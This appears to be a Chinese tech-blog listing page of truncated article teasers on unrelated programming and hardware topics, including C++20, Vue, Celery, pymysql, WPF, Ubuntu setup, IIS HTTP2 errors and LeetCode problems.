【计算机视觉】三种图像质量评价指标详解:PSNR、SSIM与SAM
图像质量评价指标详解:PSNR、SSIM与SAM 文章目录 图像质量评价指标详解:PSNR、SSIM与SAM1. 峰值信噪比(PSNR)1.1 数学定义1.2 特点与局限性 2. 结构相似性指数(SSIM)2.1 数学定义2.2 特点与应用 3. 光谱角度映射器(SAM)3.1 数学定义3.2 特点与应用 4. Py…...
轻舟系列FPGA加速卡:大模型分布式训练中的高效协同者
在超大规模模型(如千亿级参数)的分布式训练中,计算、存储与通信的协同优化是突破性能瓶颈的关键。绿算技术公司的轻舟系列FPGA加速卡凭借其低延迟、高能效和可编程特性,能够成为分布式训练架构中的异构加速节点。其在训练集群中的…...
C++20 小语法
这个提案允许在static_assert和if constexpr中从整形转换为布尔类型。 以下表格就可以表示所有内容。 对于严格的C 编译器来说,以前在这种情境下int无法向下转换为bool,需要手动强制转换, C23 这一情况得到了改善。 对于严格的C编译器来说&a…...
LM393比较器的比较翻转电压不对
问个问题,用的LM393比较器,3.3V供电,比较器输出上拉到3.3V, V给的基准2.8V,V-电压从1V升到2.3V,比较器就输出0V了,按理论超过2.8V才翻转到0V的 根据问题描述和电路分析,比较器LM393…...
解决 shadui组件库Popover 点击后会消失
react用了shadui组件库 <Popover><PopoverTrigger><div className"text-operation-item" onClick{props.callback}><img src{props.imgSrc} width{20} height{20} /></div></PopoverTrigger><PopoverContent className"…...
国联股份卫多多与北京慧闻科技(集团)签署战略合作协议
4月27日,北京慧闻科技(集团)有限公司(以下简称“慧闻科技”)销售总监王兴卓一行到访国联股份卫多多,同卫多多/纸多多副总裁、产发部总经理段任飞,卫多多机器人产业链总经理桂林展开深入交流&…...
从数据到决策:如何使用Python进行自动驾驶数据分析
从数据到决策:如何使用Python进行自动驾驶数据分析 大家好,我是Echo_Wish,今天来和大家聊一聊在自动驾驶领域中,如何通过Python进行数据分析。随着自动驾驶技术的不断发展,数据分析在这一领域的作用越来越重要。从传感器数据的处理到模型的训练和优化,Python在自动驾驶数…...
IIS服务器提示ERR_HTTP2 PROTOCOL ERROR解决方案
今天我的淘宝店来了一个客户,说小程序苹果访问没问题,安卓系统访问出现ERR HTTP2 PROTOCAL ERROR的错误见下图 方法供大家闭坑步骤:通过注册表修改(高级) 打开注册表编辑器 (regedit) 导航到: HKEY_LOCAL_MACHINE\SYSTEM\Current…...
Django的异步任务队列管理_Celery
1 基本原理 Celery 是一个异步任务队列,能够将耗时操作(如发邮件、处理图片、网络爬虫等)从 Django 主线程中分离出来,由后台的 worker 处理,避免阻塞请求。Celery 作为独立运行的后台进程(Worker…...
Ubuntu18.04安装IntelliJ IDEA2025步骤
1.下载linux版本的idea 复制下面链接到虚拟机浏览器 下载 IntelliJ IDEA 下载好后,你的文件里会多一个文件,如下图 2.解压并运行Idea 2.1在/usr/local/路径下新建安装目录IDEA: 打开终端输入以下命令: sudo mkdir -p /usr/loc…...
LLM - Large Language Model
回顾2024:与LLM又相伴一年的经历与思考 - 知乎万字长文入门大语言模型(LLM) - 知乎“大模型本质就是两个文件!”特斯拉前AI总监爆火LLM科普,时长1小时,面向普通大众 - 知乎大模型本质及趋势剖析,…...
解决Ubuntu20.04重启出现显卡驱动异常的问题(操作记录)
一、问题情况 电脑异常断电,重启后,显示界面异常,显卡驱动已丢失。 二、操作流程 1、查看安装显卡驱动 ls /usr/src | grep nvidia 记住该驱动,我的是nvidia-550.127.05 2、安装dkms(如果没有) sudo …...
23.开关电源干扰控制的EMC改善措施
开关电源干扰控制的EMC改善措施 1. 开关电源的EMI干扰机理2. 钳位抑制EMI3. 阻容吸收抑制EMI4. 波形整形抑制EMI 1. 开关电源的EMI干扰机理 2. 钳位抑制EMI 只能抑制Ts阶段。 3. 阻容吸收抑制EMI 4. 波形整形抑制EMI...
新能源汽车声纹监测技术的发展趋势是什么?
新能源汽车声纹监测技术有以下发展趋势: 智能化与自动化程度不断提高 故障自动诊断与预警:未来声纹监测系统将能够更加准确地自动识别和分析新能源汽车各部件的声纹特征变化,不仅能检测出故障,还能对故障的发展趋势进行预测&…...
如何获取按关键字搜索京东商品详情(代码示例)
在电商领域,获取京东商品的详细信息对于市场分析、选品上架、库存管理和价格策略制定等方面至关重要。京东作为国内知名的电商平台,提供了丰富的商品资源。通过 Python 爬虫技术,我们可以高效地获取京东商品的详细信息,包括商品名…...
C#中构造器及属性的加载顺序
一.基本原则: 先加载静态构造函数和静态字段,后加载普通构造函数和普通字段;先加载基类再加载子类; 二.具体的加载顺序: 父类静态字段--->父类静态构造函数--->子类静态字段--->子类静态构造函数--->父类实例字段---> 父类实例构造函数--->子类实例字段-…...
vue项目中如何使用markdown编辑器
在开发中,编辑markdown和回显markdown都是常见的需求。在vue(2.x和3.x都可以)中可以使用mavon-editor这个第三方依赖包。示例很简单易懂。 安装 npm install mavon-editor 注册 在main.js中注册这个组件 import Vue from vue import mavonEditor from mavon-editor impor…...
Python爬虫(9)Python数据存储实战:基于pymysql的MySQL数据库操作详解
目录 一、背景与核心价值二、pymysql核心操作详解2.1 环境准备2.2 数据库连接与基础操作2.3 事务处理与错误回滚2.4 高级功能:批量插入与性能优化 三、pymysql进阶技巧3.1 连接池管理(推荐使用DBUtils)3.2 SQL注入防御3.3 与ORM框架对比 四、…...
WPF之Button控件详解
文章目录 1. 引言2. Button控件基础Button类定义 3. Button控件的核心属性3.1 Content属性3.2 IsDefault属性3.3 IsCancel属性3.4 其他常用属性 4. 按钮样式与模板自定义4.1 简单样式设置4.2 使用Style对象4.3 触发器使用4.4 使用ControlTemplate完全自定义4.5 按钮视觉状态 5.…...
如何查看电脑电池使用情况
第一步打开cmd: 在键盘上按下winr 或者在搜索框中输入cmd 点击命令提示符 进入命令框 第二步输入命令: powercfg/batteryreport 出现如下情况 第三部找到对应电池报告进行查看: 在对应路径下找到电池报告 点击battery-report.html 到此…...
软考-软件设计师中级备考 6、数据结构 图
1. 有向图 有向图是由顶点集合 V 和有向边集合 E 组成的图结构。在有向图中,边是有方向的,即从一个顶点指向另一个顶点,通常用有序对 (u, v) 表示,其中 u 是边的起始顶点,v 是边的终止顶点。例如,在一个表…...
Label Studio 软件介绍及安装使用说明
背景说明 在做AI项目建模的时候,往往需要数据标注工作,比较常用的数据标注软件是Labeling或者Labelme,这两个都是离线的单独标注软件,使用起来是比较方便的,也是入门级学者比较适合的软件,然而有时候我们数据标注的数据…...
Azure 数字孪生是什么?
“Azure 数字孪生”是一项平台即服务 (PaaS) 产品/服务,它能够创建基于整个环境的数字模型的孪生图,这些图可能是建筑物、工厂、农场、能源网络、铁路、体育场馆,甚至整个城市。 这些数字模型可用于获取洞察力,以推动产品改进、运…...
界面控件DevExpress WPF v25.1预览 - AI功能增强(语义搜索)
DevExpress WPF拥有120个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…...
【神经网络与深度学习】五折交叉验证(5-Fold Cross-Validation)
引言 五折交叉验证(5-Fold Cross-Validation)是一种广泛应用于机器学习模型性能评估的技术,通过多次实验确保模型的评估结果更加稳定、可靠,同时最大限度地利用有限的数据资源。它将数据分成若干子集,交替作为训练集和…...
Linux权限概念讲解
1. 用户类型 1.1 用户分类 在Linux里面用户分为两类,一种是超级用户(root),一种是普通用户。 超级用户只有一个,而普通用户可以有很多个。 如果我们在root用户状态下想要变成普通用户,我们可以使用命令…...
网络安全零基础培训 L1-8 PHP基础语法
文章目录 1 认识PHP1.1 PHP简介1.2 主要的特点1.3 跨平台性1.4 与数据库的良好集成1.5 开源和社区支持1.6 应用场景1.6.1 网站开发1.6.2 内容的管理程序1.6.3 Web应用程序开发1.6.4 为什么学习了解PHP 2 PHP的基础语法2.1 创建第一个PHP程序2.2 如何写注释2.3 PHP的变量2.4 PHP…...
鸿蒙 长列表加载性能优化
长列表加载性能优化 针对长列表加载这一场景,对列表渲染时间、页面滑动帧率、应用内存占用等方面带来优化,提升性能和用户体验的手段有如下 4 种: 懒加载:提供列表数据按需加载能力,解决一次性加载长列表数据耗时长、…...
第十二届蓝桥杯 2021 C/C++组 卡片
目录 题目: 题目描述: 题目链接: 思路: 思路详解: 代码: 代码详解: 题目: 题目描述: 题目链接: 卡片 - 蓝桥云课 思路: 思路详解&#…...
vscode 使用gitcode团队管理项目
1、下载安装vscode https://code.visualstudio.com/Download 2、安装git 3、在vscode中安装GitLens插件 4、打开终端 点击会显示当前更改的项目 5、提交更改的文件,会提示输入用户名、密码,这里的密码即是令牌,令牌在第一次创建的时候显…...
uniapp+vue3+ts 使用canvas实现安卓端、ios端及微信小程序端二维码生成及下载
加粗样式uniapp多端生成带二维码海报并保存至相册的实现 在微信小程序开发中,我们常常会遇到生成带有二维码的海报并保存到手机相册的需求,比如分享活动海报、产品宣传海报等。今天就来和大家分享一下如何通过代码实现这一功能。 准备工作 在开始之前&am…...
vue mixin混入与hook
mixin混入是 选项式 API,在vue3-Composition API <script setup> 中无法直接使用,需通过 setup() 函数转换 vue2、vue3选项式API: // mixins/mixin.js export const mixin {methods: {courseType(courseLevel) {const levelMap {1: 初级,…...
《Masked Autoencoders Are Scalable Vision Learners》---CV版的BERT
目录 一、与之前阅读文章的关系? 二、标题:带掩码的自auto编码器是一个可拓展的视觉学习器 三、摘要 四、核心图 五、结果图 六、不同mask比例对比图 七、“Introduction” (He 等, 2021, p. 1) 引言 八、“Related Work” (He 等, 2021, p. 3)相…...
(云计算HCIP)HCIP全笔记(十三)本篇介绍虚拟化技术,内容包含:虚拟化资源、虚拟化过程、I/O虚拟化、虚拟化架构KVM和Xen介绍、主流虚拟化技术介绍
1. 虚拟化资源 1.1 虚拟化对象 CPU虚拟化: 目标是使虚拟机上的指令能被正常执行,且效率接近物理机 内存虚拟化: 目标是能做好虚拟机内存空间之 间的隔离,使每个虚拟机都认为自己拥有了整个内存地址,且效率页能接近物理…...
C++核心编程:类与对象全面解析
C核心编程:类与对象全面解析 大家好!今天我要和大家深入探讨C面向对象编程中最核心的概念:类与对象。👨💻 这是我们迈向高级C开发的第一步,掌握好这部分内容,对未来学习更高级的设计模式和框…...
Linux基础命令和文件系统结构:从入门到实践
目录 1. 引言 2. Linux文件系统结构概述 2.1 根目录 编辑 2.2 常见目录介绍: 1. /home:用户的家目录 2. /etc:存放配置文件的目录 3. /var:可变数据 4. /bin 和 /sbin:常见命令和系统管理工具 5. /tmp&…...
「Mac畅玩AIGC与多模态05」部署篇03 - 在 Mac 上部署本地向量化模型(Embedding Models)
一、概述 本篇介绍如何在 macOS 环境下,为 Dify 平台部署本地向量化模型(Embedding Models),支持知识库文档向量化、语义检索与智能体上下文增强。向量化模型是实现知识库问答与 RAG(检索增强生成)应用的基础组件。 二、部署流程 1. 环境准备 确认 Docker Desktop 正常…...
Java-Optional类
介绍 Optional是 Java 8 引入的一个类,用于解决空指针异常问题。它本质上是一个容器类,可以包含或不包含一个非空值。 示例 创建Optional对象 Optional.of(T value):创建一个包含非空值的Optional对象。如传入null值,会抛出Nu…...
Android 热点开发调试总结
Android 热点开发调试总结 文章目录 Android 热点开发调试总结一、前言二、热点开发1、开关和默认配置wifi和热点配置信息保存的位置: 2、主要流程3、相关日志4、相关广播5、demo示例 三、其他1、Android 热点开发调试小结2、其他热点相关知识小结(1&…...
【“星瑞” O6 评测】 — llm CPU部署对比高通骁龙CPU
前言 随着大模型应用场景的不断拓展,arm cpu 凭借其独特优势在大模型推理领域的重要性日益凸显。它在性能、功耗、架构适配等多方面发挥关键作用,推动大模型在不同场景落地 1. CPU对比 星睿 O6 CPU 采用 Armv9 架构,集成了 Armv9 CPU 核心…...
快乐数(双指针解法)
题目链接202. 快乐数 - 力扣(LeetCode) 题目拆解 1 取一个正整数每一位的平方和为,如果为1那么直接可以判定为快乐数,如果不为1,就重复这个过程,直到出现1 2 实际上,这道题只有两种情况…...
【Vue3-Bug】中路由加载页面直接显示空白
Vue3中路由加载页面直接显示空白 没有子路由 路由定义不能重复,请自己查看数据在main.js(或者)mina.ts入口文件中,需要将router的注入到vue中的执行放在,vue挂在元素之前 // 顺序不能变 app.use(router) app.mount(#app)在App.vue中 // 在…...
线性代数——行列式⭐
目录 一、行列式的定义⭐ 1-1、三阶行列式练习 1-2、下面介绍下三角行列式、上三角行列式、对角行列式 编辑 二、行列式的性质 2-1、性质1,2,3,4,5,6 编辑 2-2、性质7 2- 3、拉普拉斯定理、克莱姆法则 三…...
flume----初步安装与配置
目录标题 **flume的简单介绍**⭐flume的**核心组件**⭐**核心特点** **安装部署**1)**解压安装包**2)**修改名字** **(配置文件时,更方便)****3)⭐⭐配置文件**4)**兼容Hadoop**5)**…...
vscode源代码管理Tab-文件右侧标志(M、A 等)的含义
Git 常用标志(M、A 等)的含义 在 VSCode 的源代码管理(Source Control)标签页中,文件右侧显示的 Monaco 装饰徽章(Badge)(如 M、A 等),本质上是对 Git 文件状态标志 的可视化呈现。…...
【力扣刷题实战】丢失的数字
大家好,我是小卡皮巴拉 文章目录 目录 力扣题目:丢失的数字 题目描述 解题思路 问题理解 算法选择 具体思路 解题要点 完整代码(C) 兄弟们共勉 !!! 每篇前言 博客主页:小…...